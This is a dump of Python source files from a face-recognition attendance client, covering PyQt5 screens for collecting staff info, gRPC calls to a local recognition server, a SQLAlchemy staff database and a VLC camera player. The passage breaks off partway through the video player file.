0.5459317564964294, "alphanum_fraction": 0.5616797804832458, "avg_line_length": 22.060606002807617, "blob_id": "54f082a9f578f7f9c0275913efe44ed35ce317a3", "content_id": "2b4ca8bf2af03d0a710d2cd84f1c4df2864ea5e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 844, "license_type": "no_license", "max_line_length": 106, "num_lines": 33, "path": "/src/config.py", "repo_name": "yuyi1266173/FaceAttendanceSystemClient", "src_encoding": "UTF-8", "text": "\n# !python 3.6\n# -*-coding: utf-8 -*-\n\nimport logging\n\n\n# =========================================== #\n# ----------------- 日志 ------------------ #\n# =========================================== #\n'''\n ## 使用方法\n - 在需要记录日志的地方引入全局变量\"VIEW_LOG\"\n'''\n\nlog_level = logging.INFO\nLOG = logging.getLogger('client')\nLOG.setLevel(log_level)\nFORMAT = logging.Formatter('%(asctime)-15s %(module)s.%(funcName)s[%(lineno)d] %(levelname)s %(message)s')\nsh = logging.StreamHandler()\nsh.setFormatter(FORMAT)\nsh.setLevel(log_level)\nfh = logging.FileHandler('./client.log', mode='a', encoding='utf-8')\nfh.setFormatter(FORMAT)\nfh.setLevel(log_level)\nLOG.addHandler(sh)\nLOG.addHandler(fh)\n\n\n# 数据库路径\nDB_DATA_PATH = \".\\data_client.db\"\n\n# 数据库时间字段的默认无效时间\nDEFAULT_TIME = -123.456\n" }, { "alpha_fraction": 0.5914208889007568, "alphanum_fraction": 0.6219838857650757, "avg_line_length": 23.220779418945312, "blob_id": "52b86349da3f9ca99d5afd7ec5ad00804901607e", "content_id": "ecb2c75f95d3c994846e30191e11cc7c38c94b27", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1901, "license_type": "no_license", "max_line_length": 105, "num_lines": 77, "path": "/src/protoc/grpc_face_attendance_client.py", "repo_name": "yuyi1266173/FaceAttendanceSystemClient", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport grpc\nimport numpy as np\nimport cv2,base64\nfrom protoc import face_attendance_pb2_grpc, face_attendance_pb2\n\n_HOST = '192.168.1.109'\n_PORT = '8082'\n\n\ndef base64_2_cv2(encoded_data):\n \"\"\"\n :param encoded_data: string base64编码后的图片字符串\n :return: ndarray\n \"\"\"\n ret = None\n try:\n nparr = np.fromstring(base64.b64decode(encoded_data), np.uint8)\n img = cv2.imdecode(nparr, cv2.IMREAD_COLOR)\n ret = img\n except Exception as e:\n print('%s' % (e,))\n return ret\n return ret\n\n\ndef base64_2_cv2(encoded_data):\n\n \"\"\"\n :param encoded_data: string base64编码后的图片字符串\n :return: ndarray\n \"\"\"\n ret = None\n try:\n nparr = np.fromstring(base64.b64decode(encoded_data), np.uint8)\n img = cv2.imdecode(nparr, cv2.IMREAD_COLOR)\n ret = img\n except Exception as e:\n print('[no.%d] %s' % (100, e))\n return ret\n return ret\n\n\ndef start_face_attendance():\n conn = grpc.insecure_channel(_HOST + ':' + _PORT)\n client = face_attendance_pb2_grpc.DetectFaceStub(channel=conn)\n response = client.DoDetectFace(face_attendance_pb2.DetectFaceRequest(state=0))\n print(\"---\", response)\n\n # print(\"response:{}\".format(response.info))\n print(type(response.info), len(response.info))\n\n if len(response.info) == 0:\n return None, None\n\n print(response.info[0].staff_id)\n\n image_path = os.path.abspath(\"../resource/attendance_image/{}.jpg\".format(response.info[0].staff_id))\n print(image_path)\n\n if os.path.exists(image_path):\n os.remove(image_path)\n\n with open(image_path, 'wb') as f:\n f.write(response.info[0].image.raw_data)\n\n return response.info[0].staff_id, image_path\n\n\nif __name__ == '__main__':\n os.chdir(\"../\")\n print(os.getcwd())\n\n start_face_attendance()\n" }, { "alpha_fraction": 0.6027529835700989, "alphanum_fraction": 0.6134160757064819, "avg_line_length": 32.92763137817383, "blob_id": "842f8c7cfccc8953cc214e5127e7af1758d85e49", "content_id": "bc457252f62496851e25e9c17bb09f242e6b5a77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5350, "license_type": "no_license", "max_line_length": 97, "num_lines": 152, "path": "/src/view/collect_info_dialog.py", "repo_name": "yuyi1266173/FaceAttendanceSystemClient", "src_encoding": "UTF-8", "text": "# !python 3.6\n# # -*-coding: utf-8 -*-\n\nimport time\nfrom PyQt5.QtWidgets import QDialog, QLabel, QPushButton, QFormLayout, QLineEdit\nfrom PyQt5.QtCore import Qt\n\nfrom config import LOG\nfrom model import Staff, init_data_database\nfrom view.confirm_dialog import ConfirmDialog\nfrom protoc.grpc_collect_face_client import start_collect_face\n\n\nclass CollectInfoDialog(QDialog):\n\n def __init__(self):\n super(CollectInfoDialog, self).__init__()\n self.staff_no_edit = None\n self.staff_name_edit = None\n self.start_collect_button = None\n self.tip_label = None\n self.confirm_dialog = None\n\n self.init_ui()\n self.set_widgets()\n self.connect_events()\n\n def init_ui(self):\n head_label = QLabel()\n head_label.setFixedHeight(40)\n head_label.setText(\"员工信息录入\")\n head_label.setStyleSheet(\"font-size:25px; font-family:Microsoft YaHei;\")\n\n self.tip_label = QLabel()\n self.tip_label.setFixedHeight(30)\n self.tip_label.setStyleSheet(\"font-size:20px; font-family:Microsoft YaHei; color:red;\")\n\n staff_no_label = QLabel()\n staff_no_label.setFixedSize(100, 30)\n staff_no_label.setText(\"工号\")\n staff_no_label.setStyleSheet(\"font-size:20px; font-family:Microsoft YaHei;\")\n\n self.staff_no_edit = QLineEdit()\n self.staff_no_edit.setFixedHeight(30)\n\n staff_name_label = QLabel()\n staff_name_label.setFixedSize(100, 30)\n staff_name_label.setText(\"姓名\")\n staff_name_label.setStyleSheet(\"font-size:20px; font-family:Microsoft YaHei;\")\n\n self.staff_name_edit = QLineEdit()\n self.staff_name_edit.setFixedHeight(30)\n\n self.start_collect_button = QPushButton()\n self.start_collect_button.setFixedSize(100, 40)\n\n main_layout = QFormLayout()\n main_layout.setAlignment(Qt.AlignCenter)\n main_layout.addRow(head_label)\n main_layout.addRow(self.tip_label)\n main_layout.addRow(staff_no_label, self.staff_no_edit)\n main_layout.addRow(staff_name_label, self.staff_name_edit)\n main_layout.addRow(self.start_collect_button)\n self.setLayout(main_layout)\n\n def set_widgets(self):\n self.start_collect_button.setText(\"开始人脸采集\")\n # self.setFixedSize(800, 600)\n self.setStyleSheet(\"background-color: #999999;\")\n\n def connect_events(self):\n self.start_collect_button.clicked.connect(self.start_collect_fun)\n # self.staff_no_edit.textEdited.connect(self.clear_tip_info)\n # self.staff_name_edit.textEdited.connect(self.clear_tip_info)\n self.staff_no_edit.selectionChanged.connect(self.clear_tip_info)\n self.staff_name_edit.selectionChanged.connect(self.clear_tip_info)\n\n def start_collect_fun(self):\n print(self.staff_no_edit.text(), self.staff_name_edit.text())\n\n staff_no = self.staff_no_edit.text()\n staff_name = self.staff_name_edit.text()\n\n if len(staff_no.strip()) == 0:\n self.tip_label.setText(\"请输入员工工号!\")\n return\n\n if len(staff_name.strip()) == 0:\n self.tip_label.setText(\"请输入员工姓名!\")\n return\n\n the_staff = Staff.get_staff_by_no(staff_no)\n if the_staff is None or len(the_staff) == 0:\n staff_id, err_str = Staff.add_staff(staff_no=int(staff_no), name=staff_name)\n\n if err_str is not None:\n self.tip_label.setText(err_str)\n return\n else:\n if len(the_staff) != 1:\n self.tip_label.setText(\"异常:数据库中已存在{}个工号为{}的员工\".format(len(the_staff), staff_no))\n return\n elif the_staff[0].is_collect_face_image is True:\n self.tip_label.setText(\"异常:数据库中已存在{}个工号为{}的员工(已采集完人脸数据)\".\n format(len(the_staff), staff_no))\n return\n\n try:\n face_image_path = start_collect_face(int(staff_no))\n except Exception as e:\n LOG.error(\"采集人脸异常:{}\".format(e))\n self.tip_label.setText(\"采集人脸异常:连接服务器错误。\")\n return\n\n self.staff_no_edit.setText(\"\")\n self.staff_name_edit.setText(\"\")\n self.close()\n\n print(\"face_image_path ----- \", face_image_path)\n\n if self.confirm_dialog is None:\n self.confirm_dialog = ConfirmDialog()\n self.confirm_dialog.set_dialog_info(use_type=1, staff_no=staff_no, staff_name=staff_name,\n image_url=face_image_path)\n self.confirm_dialog.show()\n\n try:\n Staff.update_is_collect_face_image(staff_no=staff_no, is_collect_face_image=True)\n except Exception as e:\n LOG.error(\"update_is_collect_face_image Error:{}\".format(e))\n\n def clear_tip_info(self):\n self.tip_label.setText(\"\")\n\n\nif __name__ == \"__main__\":\n import os\n os.chdir(\"../\")\n print(os.getcwd())\n\n import sys\n from PyQt5.QtWidgets import QApplication\n\n # from model import Staff, init_data_database\n\n init_data_database()\n\n app = QApplication(sys.argv)\n window = CollectInfoDialog()\n window.show()\n\n sys.exit(app.exec_())\n\n" }, { "alpha_fraction": 0.7275097966194153, "alphanum_fraction": 0.7314211130142212, "avg_line_length": 32.34782791137695, "blob_id": "02a2c33a027994bd72e8d19808aa32029cd62445", "content_id": "ef7bedfd8cdd5e7081b1f3d5784faac97cc65d3e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1534, "license_type": "no_license", "max_line_length": 89, "num_lines": 46, "path": "/src/protoc/face_attendance_pb2_grpc.py", "repo_name": "yuyi1266173/FaceAttendanceSystemClient", "src_encoding": "UTF-8", "text": "# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!\nimport grpc\n\nfrom protoc import face_attendance_pb2 as face__attendance__pb2\n\n\nclass DetectFaceStub(object):\n # missing associated documentation comment in .proto file\n pass\n\n def __init__(self, channel):\n \"\"\"Constructor.\n\n Args:\n channel: A grpc.Channel.\n \"\"\"\n self.DoDetectFace = channel.unary_unary(\n '/face_attendance.DetectFace/DoDetectFace',\n request_serializer=face__attendance__pb2.DetectFaceRequest.SerializeToString,\n response_deserializer=face__attendance__pb2.DetectFaceResponse.FromString,\n )\n\n\nclass DetectFaceServicer(object):\n # missing associated documentation comment in .proto file\n pass\n\n def DoDetectFace(self, request, context):\n # missing associated documentation comment in .proto file\n pass\n context.set_code(grpc.StatusCode.UNIMPLEMENTED)\n context.set_details('Method not implemented!')\n raise NotImplementedError('Method not implemented!')\n\n\ndef add_DetectFaceServicer_to_server(servicer, server):\n rpc_method_handlers = {\n 'DoDetectFace': grpc.unary_unary_rpc_method_handler(\n servicer.DoDetectFace,\n request_deserializer=face__attendance__pb2.DetectFaceRequest.FromString,\n response_serializer=face__attendance__pb2.DetectFaceResponse.SerializeToString,\n ),\n }\n generic_handler = grpc.method_handlers_generic_handler(\n 'face_attendance.DetectFace', rpc_method_handlers)\n server.add_generic_rpc_handlers((generic_handler,))\n" }, { "alpha_fraction": 0.6304274201393127, "alphanum_fraction": 0.6451831459999084, "avg_line_length": 39.655174255371094, "blob_id": "f7a2bb3e3d5c1061290a6978893113b5df11a186", "content_id": "302fd31265a415bfc9361d8a44d6cf2202a085ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5972, "license_type": "no_license", "max_line_length": 112, "num_lines": 145, "path": "/src/view/main_window.py", "repo_name": "yuyi1266173/FaceAttendanceSystemClient", "src_encoding": "UTF-8", "text": "# !python 3.6\n# # -*-coding: utf-8 -*-\n\nimport sys\nfrom PyQt5.QtWidgets import QMainWindow, QApplication, QHBoxLayout, QVBoxLayout, QLabel, QPushButton, QWidget, \\\n QSpacerItem, QSizePolicy, QStackedWidget\nfrom PyQt5.QtCore import Qt\n\nfrom view.view_attendance_page import AttendancePageWidget\n\n\nclass MainWindow(QMainWindow):\n head_button_style_select = \"\"\"font-size:19px;\n font-family:Microsoft YaHei;\n color:#00BFF3;\n border:none;\n padding-top:4px;\"\"\"\n\n head_button_style_no_select = \"\"\"font-size:19px;\n font-family:Microsoft YaHei;\n color:#FFFFFF;\n border:none;\n padding-top:4px;\"\"\"\n\n def __init__(self):\n super(MainWindow, self).__init__()\n\n self.main_widget = None\n self.main_layout = None\n self.tab_button_layout = None\n self.attendance_page_button = None\n self.monitor_page_button = None\n self.person_manager_button = None\n self.buttom_widget = None\n self.close_button = None\n\n self.init_ui()\n self.set_widgets()\n self.connect_events()\n\n def init_ui(self):\n self.main_widget = QWidget()\n self.main_layout = QVBoxLayout()\n\n # 顶部标题栏\n title_layout = QHBoxLayout()\n\n main_label = QLabel()\n main_label.setFixedHeight(100)\n # main_label.setFixedWidth(1800)\n main_label.setText(\"人脸识别考勤系统\")\n main_label.setStyleSheet(\"font-size:25px; font-family:Microsoft YaHei;\")\n main_label.setAlignment(Qt.AlignCenter)\n\n self.close_button = QPushButton(\"退出系统\")\n self.close_button.setFixedSize(100, 30)\n self.close_button.setStyleSheet(\"font-size:15px; font-family:Microsoft YaHei; color:#FFFFFF;\"\n \"background-color: #445566;\")\n\n title_layout.addItem(QSpacerItem(5, 5, QSizePolicy.Expanding, QSizePolicy.Fixed))\n title_layout.addWidget(main_label)\n title_layout.addItem(QSpacerItem(5, 5, QSizePolicy.Expanding, QSizePolicy.Fixed))\n title_layout.addWidget(self.close_button)\n\n # Tab页切换按钮栏\n self.tab_button_layout = QHBoxLayout()\n\n self.attendance_page_button = QPushButton()\n self.attendance_page_button.setFixedSize(37, 30)\n self.attendance_page_button.setStyleSheet(self.head_button_style_select)\n\n self.monitor_page_button = QPushButton()\n self.monitor_page_button.setFixedSize(80, 30)\n self.monitor_page_button.setStyleSheet(self.head_button_style_no_select)\n\n self.person_manager_button = QPushButton()\n self.person_manager_button.setFixedSize(80, 30)\n self.person_manager_button.setStyleSheet(self.head_button_style_no_select)\n\n self.tab_button_layout.addWidget(self.attendance_page_button)\n self.tab_button_layout.addWidget(self.monitor_page_button)\n self.tab_button_layout.addWidget(self.person_manager_button)\n\n # 帧布局 内容部分\n attendance_widget = AttendancePageWidget()\n # attendance_widget.setStyleSheet(\"background-color: blue\")\n monitor_widget = QWidget()\n monitor_widget.setStyleSheet(\"background-color: #888888\")\n person_manage_widget = QWidget()\n person_manage_widget.setStyleSheet(\"background-color: #cccccc\")\n\n self.buttom_widget = QStackedWidget()\n self.buttom_widget.addWidget(attendance_widget)\n self.buttom_widget.addWidget(monitor_widget)\n self.buttom_widget.addWidget(person_manage_widget)\n self.buttom_widget.setContentsMargins(0, 0, 0, 0)\n\n self.main_layout.addLayout(title_layout)\n self.main_layout.addLayout(self.tab_button_layout)\n self.main_layout.addWidget(self.buttom_widget)\n\n self.main_widget.setLayout(self.main_layout)\n self.setCentralWidget(self.main_widget)\n\n def set_widgets(self):\n self.resize(1920, 1080)\n self.setStyleSheet(\"background-color:#2c2c2c\")\n self.setGeometry(0, 0, 1920, 1080)\n self.showFullScreen()\n\n self.attendance_page_button.setText(\"考勤\")\n self.monitor_page_button.setText(\"监控\")\n self.person_manager_button.setText(\"员工管理\")\n self.buttom_widget.setCurrentIndex(0)\n\n def connect_events(self):\n self.close_button.clicked.connect(self.close)\n self.attendance_page_button.clicked.connect(self.show_attendance_page)\n self.monitor_page_button.clicked.connect(self.show_monitor_page)\n self.person_manager_button.clicked.connect(self.show_person_manager_page)\n\n def show_attendance_page(self):\n self.attendance_page_button.setStyleSheet(self.head_button_style_select)\n self.monitor_page_button.setStyleSheet(self.head_button_style_no_select)\n self.person_manager_button.setStyleSheet(self.head_button_style_no_select)\n self.buttom_widget.setCurrentIndex(0)\n\n def show_monitor_page(self):\n self.attendance_page_button.setStyleSheet(self.head_button_style_no_select)\n self.monitor_page_button.setStyleSheet(self.head_button_style_select)\n self.person_manager_button.setStyleSheet(self.head_button_style_no_select)\n self.buttom_widget.setCurrentIndex(1)\n\n def show_person_manager_page(self):\n self.attendance_page_button.setStyleSheet(self.head_button_style_no_select)\n self.monitor_page_button.setStyleSheet(self.head_button_style_no_select)\n self.person_manager_button.setStyleSheet(self.head_button_style_select)\n self.buttom_widget.setCurrentIndex(2)\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n window = MainWindow()\n window.show()\n sys.exit(app.exec_())\n\n" }, { "alpha_fraction": 0.5735641121864319, "alphanum_fraction": 0.6144767999649048, "avg_line_length": 22.10909080505371, "blob_id": "dc597eeaae362d8bfbc6c615d10dfaf630570684", "content_id": "f4910d8aadc62b03075963857fa1b49287e93350", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1307, "license_type": "no_license", "max_line_length": 82, "num_lines": 55, "path": "/src/protoc/grpc_watch_face_client.py", "repo_name": "yuyi1266173/FaceAttendanceSystemClient", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport grpc\nimport numpy as np\nimport cv2, base64\nfrom protoc import face_attendance_pb2_grpc, face_attendance_pb2\n\n_HOST = '192.168.1.109'\n_PORT = '8083'\n\n\ndef base64_2_cv2(encoded_data):\n \"\"\"\n :param encoded_data: string base64编码后的图片字符串\n :return: ndarray\n \"\"\"\n ret = None\n try:\n nparr = np.fromstring(base64.b64decode(encoded_data), np.uint8)\n img = cv2.imdecode(nparr, cv2.IMREAD_COLOR)\n ret = img\n except Exception as e:\n print('%s' % (e,))\n return ret\n return ret\n\n\ndef base64_2_cv2(encoded_data):\n\n \"\"\"\n :param encoded_data: string base64编码后的图片字符串\n :return: ndarray\n \"\"\"\n ret = None\n try:\n nparr = np.fromstring(base64.b64decode(encoded_data), np.uint8)\n img = cv2.imdecode(nparr, cv2.IMREAD_COLOR)\n ret = img\n except Exception as e:\n print('[no.%d] %s' % (100, e))\n return ret\n return ret\n\n\ndef run():\n conn = grpc.insecure_channel(_HOST + ':' + _PORT)\n client = face_attendance_pb2_grpc.DetectFaceStub(channel=conn)\n response = client.DoDetectFace(face_attendance_pb2.DetectFaceRequest(state=0))\n\n print(\"response:{}\".format(len(response.info)))\n\n\nif __name__ == '__main__':\n run()\n" }, { "alpha_fraction": 0.5603014826774597, "alphanum_fraction": 0.5630932450294495, "avg_line_length": 29.875, "blob_id": "bced2808c621d5bd669853031535a406fd015cc7", "content_id": "72863190a679865cf406dac929f883acabf4202f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7408, "license_type": "no_license", "max_line_length": 111, "num_lines": 232, "path": "/src/model.py", "repo_name": "yuyi1266173/FaceAttendanceSystemClient", "src_encoding": "UTF-8", "text": "# !python 3.6\n# -*-coding: utf-8 -*-\n\nimport os\nimport time\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column, Integer, String, FLOAT, Boolean, TIMESTAMP\n\nfrom config import DB_DATA_PATH, LOG, DEFAULT_TIME\n\n\nengine = create_engine('sqlite:///%s?check_same_thread=False' % DB_DATA_PATH, echo=False)\nBase = declarative_base()\ndb_session = sessionmaker(bind=engine)\n\n\ndef init_data_database():\n ret = False\n try:\n # TODO: create database file\n if os.path.isfile(DB_DATA_PATH) is False:\n Base.metadata.create_all(engine)\n except Exception as e:\n LOG.error(\"init data database %s\" % str(e))\n return ret\n ret = True\n return ret\n\n\n# 员工信息\nclass Staff(Base):\n \"\"\" 员工数据\n ------------------------------------------------------\n id : 主键,索引\n staff_no : 工号\n name : 姓名\n sex : 性别 0 : 男 default 1:女\n age : 年龄\n id_card_num : 身份证号\n department : 部门\n position : 职位\n is_collect_face_image : 是否已采集人脸\n face_image_url: 人脸图片存放路径\n entry_time : 入职时间\n departure_time: 离职时间\n create_time : 注册时间\n update_time : 更新时间\n is_delete : 是否删除\n -----------------------------------------------------\n \"\"\"\n\n __tablename__ = 'staff'\n id = Column(Integer, primary_key=True)\n staff_no = Column(Integer)\n name = Column(String)\n sex = Column(Integer, default=0)\n age = Column(Integer, default=0)\n id_card_num = Column(String, default=\"\")\n department = Column(String, default=\"\")\n position = Column(String, default=\"\")\n is_collect_face_image = Column(Boolean, default=False)\n face_image_url = Column(String, default=\"\")\n entry_time = Column(FLOAT, default=DEFAULT_TIME)\n departure_time = Column(FLOAT, default=DEFAULT_TIME)\n create_time = Column(FLOAT, default=DEFAULT_TIME)\n update_time = Column(FLOAT, default=DEFAULT_TIME)\n is_delete = Column(Boolean, default=False)\n\n @staticmethod\n def get_staff_by_no(staff_no):\n ret = None\n session = db_session()\n\n try:\n staffs = session.query(Staff).filter_by(staff_no=staff_no, is_delete=False).all()\n except Exception as e:\n LOG.error(\"add_staff error: {}\".format(e))\n return ret\n\n print(staffs, type(staffs))\n ret = staffs\n return ret\n\n @staticmethod\n def add_staff(staff_no, name, **kwargs):\n session = db_session()\n\n try:\n staffs = session.query(Staff).filter_by(staff_no=staff_no, is_delete=False).all()\n except Exception as e:\n LOG.error(\"add_staff error: {}\".format(e))\n return False, \"add_staff error: {}\".format(e)\n\n LOG.info(\"staffs:{}\".format(staffs))\n\n if len(staffs) > 0:\n LOG.error(\"staff_no 与已有数据冲突\")\n return False, \"staff_no 与已有数据冲突\"\n\n data_dict = {\n 'staff_no': staff_no,\n 'name': name,\n }\n\n staff_sex = kwargs.get('sex', None)\n if staff_sex is not None:\n data_dict['sex'] = staff_sex\n\n staff_age = kwargs.get('age', None)\n if staff_age is not None:\n data_dict['age'] = staff_age\n\n staff_id_card_num = kwargs.get('id_card_num', None)\n if staff_id_card_num is not None:\n data_dict['id_card_num'] = staff_id_card_num\n\n staff_department = kwargs.get('department', None)\n if staff_department is not None:\n data_dict['department'] = staff_department\n\n staff_position = kwargs.get('position', None)\n if staff_position is not None:\n data_dict['position'] = staff_position\n\n staff_face_image_url = kwargs.get('face_image_url', None)\n if staff_face_image_url is not None:\n data_dict['face_image_url'] = staff_face_image_url\n\n staff_entry_time = kwargs.get('entry_time', None)\n if staff_entry_time is not None:\n data_dict['entry_time'] = staff_entry_time\n\n staff_departure_time = kwargs.get('departure_time', None)\n if staff_departure_time is not None:\n data_dict['departure_time'] = staff_departure_time\n\n LOG.info(\"-----{}\".format(data_dict))\n\n staff = Staff(**data_dict)\n\n try:\n session.add(staff)\n session.commit()\n ret = staff.staff_no\n except Exception as e:\n LOG.error(\"add staff to db error:{}\".format(e))\n session.rollback()\n session.close()\n ret = False, \"add staff to db error:{}\".format(e)\n finally:\n session.close()\n\n LOG.info(\"return {}\".format(ret))\n return ret, None\n\n @staticmethod\n def update_is_collect_face_image(staff_no, is_collect_face_image):\n ret = False\n session = db_session()\n\n try:\n staff = session.query(Staff).filter_by(staff_no=staff_no, is_delete=False).first()\n if staff is None:\n LOG.error(\"数据库中没有对应工号为{}的员工\".format(staff_no))\n return ret\n\n staff.is_collect_face_image = is_collect_face_image\n session.commit()\n ret = staff.staff_no\n except Exception as e:\n session.rollback()\n LOG.error(\"update_is_collect_face_image error: {}\".format(e))\n finally:\n session.close()\n\n return ret\n\n @staticmethod\n def update_staff_face_image_url(staff_no, face_image_url):\n ret = False\n\n if not os.path.isfile(face_image_url):\n LOG.error(\"图片不存在: face_image_url={}\".format(face_image_url))\n return ret\n\n session = db_session()\n try:\n staff = session.query(Staff).filter_by(staff_no=staff_no, is_delete=False).first()\n if staff is None:\n LOG.error(\"数据库中没有对应工号为{}的员工\".format(staff_no))\n return ret\n\n staff.face_image_url = face_image_url\n session.commit()\n ret = staff.staff_no\n except Exception as e:\n session.rollback()\n LOG.error(\"update_staff_face_image_url error: {}\".format(e))\n finally:\n session.close()\n\n return ret\n\n\ndef add_staff_fun_test():\n staff_no_id = None\n\n try:\n staff_no_id = Staff.add_staff(1011, \"wu yu\", sex=0, age=26, department=\"技术部\", position=\"Python开发工程师\",\n entry_time=time.time(), )\n except Exception as e:\n print(e)\n\n print(\"staff_no_id\", staff_no_id)\n\n if staff_no_id not in [None, False]:\n print(\"update_staff_face_image_url\", Staff.update_staff_face_image_url(staff_no_id, \"./rose_logo.png\"))\n\n if staff_no_id not in [None, False]:\n print(\"update_is_collect_face_image\", Staff.update_is_collect_face_image(staff_no_id, True))\n\n\nif __name__ == \"__main__\":\n import time\n\n # os.chdir(\"../../\")\n print(os.getcwd())\n init_data_database()\n # add_staff_fun_test()\n print(Staff.get_staff_by_no(1011)[0].is_collect_face_image)\n\n" }, { "alpha_fraction": 0.5576476454734802, "alphanum_fraction": 0.5779435038566589, "avg_line_length": 28.741817474365234, "blob_id": "2601a86fe14093191a3a49bb58a40c8c2b84c72a", "content_id": "5a11d530d6338283e2a0510049f6ca39011b76d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8273, "license_type": "no_license", "max_line_length": 174, "num_lines": 275, "path": "/src/video_utils/video_player.py", "repo_name": "yuyi1266173/FaceAttendanceSystemClient", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3.6\n# -*- coding: utf-8 -*-\n\nimport ctypes\nimport sys\nimport time\n# import vlc\n# from PIL import Image, ImageDraw\nfrom PyQt5.QtWidgets import QWidget, QApplication\nfrom PyQt5.QtCore import QTimer\nfrom vlc import (\n Instance,\n libvlc_media_player_set_hwnd,\n libvlc_media_release,\n libvlc_media_new_path,\n libvlc_video_take_snapshot\n)\n\n\n# VIDEO_WIDTH, VIDEO_HEIGHT = common_lib.get_video_size()\n# size = VIDEO_WIDTH * VIDEO_HEIGHT * 4\n# buf = (ctypes.c_ubyte * size)()\n# buf_p = ctypes.cast(buf, ctypes.c_void_p)\n# CorrectVideoLockCb = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_void_p, ctypes.POINTER(ctypes.c_void_p))\n\n#\n# def draw_rectangle(draw, xy, color=None, width=2):\n# \"\"\"绘制人脸矩形框\"\"\"\n# (x1, y1), (x2, y2) = xy\n# points = (x1, y1), (x2, y1), (x2, y2), (x1, y2), (x1, y1)\n# draw.line(points, fill=color, width=width)\n#\n#\n# class VlcPLayerByCallback(object):\n# API_RECT_FRAME = None\n# API_WITHOUT_RECT_FRAME = None\n#\n# def __init__(self, url='rtsp://192.168.16.129:8554/channel=0'):\n# instance = Instance()\n# self.pl = instance.media_player_new()\n# self.libvlc_media = instance.media_new(url)\n# self.libvlc_media.add_option(\":network-caching=200\")\n# self.libvlc_media.get_mrl()\n# self.pl.set_media(self.libvlc_media)\n# self.pl.audio_set_mute(True)\n#\n# @CorrectVideoLockCb\n# def _lockcb(opaque, planes):\n# planes[0] = buf_p\n#\n# @vlc.CallbackDecorators.VideoDisplayCb\n# def _display(opaque, picture):\n#\n# # if VIDEO_HEIGHT is None or VIDEO_WIDTH is None:\n# # print('解析视频大小(VIDEO_SIZE)配置错误,VLC回调失败!')\n# # return\n# # img = Image.frombuffer(\"RGBA\", (VIDEO_WIDTH, VIDEO_HEIGHT), buf, \"raw\", \"BGRA\", 0, 1)\n# # VlcPLayerByCallback.API_WITHOUT_RECT_FRAME = img.copy()\n# # coordinates = FaceCoordinatesReceiver.API_FACE_COORDINATES\n# # if coordinates:\n# # draw_object = ImageDraw.Draw(img)\n# # draw_rectangle(draw_object, ((coordinates[0], coordinates[1]), (coordinates[2], coordinates[3])),\n# # color='red', width=2)\n# # VlcPLayerByCallback.API_RECT_FRAME = img\n# pass\n#\n# def play(self):\n# vlc.libvlc_video_set_callbacks(self.pl, self._lockcb, None, self._display, None)\n# self.pl.video_set_format(\"RV32\", VIDEO_WIDTH, VIDEO_HEIGHT, VIDEO_WIDTH * 4)\n# self.pl.play()\n#\n# def start(self):\n# self.play()\n#\n# def stop(self):\n# self.pl.stop()\n#\n# def is_playing(self):\n# return self.pl.is_playing()\n\n\nclass VlcPlayer(object):\n\n def __init__(self, url, winId):\n self.url = url\n self.winId = winId\n instance = Instance()\n self.player = instance.media_player_new()\n\n # 网络摄像头\n self.libvlc_media = instance.media_new(self.url)\n self.libvlc_media.add_option(\":network-caching=300\")\n\n # 本地摄像头\n # self.libvlc_media = instance.media_new_location('dshow://')\n\n self.libvlc_media.get_mrl()\n libvlc_media_player_set_hwnd(self.player, self.winId)\n self.player.set_media(self.libvlc_media)\n\n def start(self):\n self.player.play()\n self.player.audio_set_mute(True)\n\n def stop(self):\n self.player.stop()\n\n def is_playing(self):\n return self.player.is_playing()\n\n def capture(self, path):\n ret = False\n path = bytes(path, encoding='utf-8')\n try:\n if libvlc_video_take_snapshot(self.player, 0, path, 640, 480) != 0:\n raise Exception('返回截图失败标识')\n except Exception as e:\n print('截图失败: {}'.format(e))\n return ret\n ret = True\n return ret\n\n#\n# class VlcFilePlayer(object):\n#\n# def __init__(self, winId):\n# self.winId = winId\n# self.libvlc_instance_ = Instance()\n# self.player = self.libvlc_instance_.media_player_new()\n# self.libvlc_media = None\n# self.duration = 0\n# libvlc_media_player_set_hwnd(self.player, self.winId)\n#\n# def start(self):\n# self.player.play()\n# self.player.audio_set_volume(50)\n#\n# def stop(self):\n# self.player.stop()\n#\n# def pause(self):\n# \"\"\"0 means play or resume, non zero means pause\"\"\"\n# self.player.set_pause(1)\n#\n# def is_playing(self):\n# return self.player.is_playing()\n#\n# def set_time(self, time_in_ms):\n# if time_in_ms <= 0:\n# return\n# self.player.set_time(time_in_ms)\n#\n# def get_time(self):\n# return self.player.get_time()\n#\n# def get_progress(self):\n# progress = 0\n# self.duration = self.player.get_length()\n#\n# if self.duration == 0:\n# return progress\n#\n# try:\n# progress = self.player.get_time() / self.duration\n# except Exception as e:\n# LOG.error(\"get progress error %s\" % str(e))\n#\n# return progress\n#\n# def get_duration(self):\n# \"\"\"\n# :return: duration of the video in ms\n# \"\"\"\n# self.duration = self.player.get_length()\n# return self.duration\n#\n# def play_file(self, file_path):\n# if self.libvlc_media:\n# libvlc_media_release(self.libvlc_media)\n# self.libvlc_media = None\n# self.libvlc_media = libvlc_media_new_path(self.libvlc_instance_, file_path.encode(\"utf-8\"))\n# if self.libvlc_media:\n# self.player.set_media(self.libvlc_media)\n# self.duration = self.player.get_length()\n#\n#\n# class VlcFileAudioPlayer(object):\n# def __init__(self):\n# self.libvlc_instance_ = Instance()\n# self.player = self.libvlc_instance_.media_player_new()\n# self.libvlc_media = 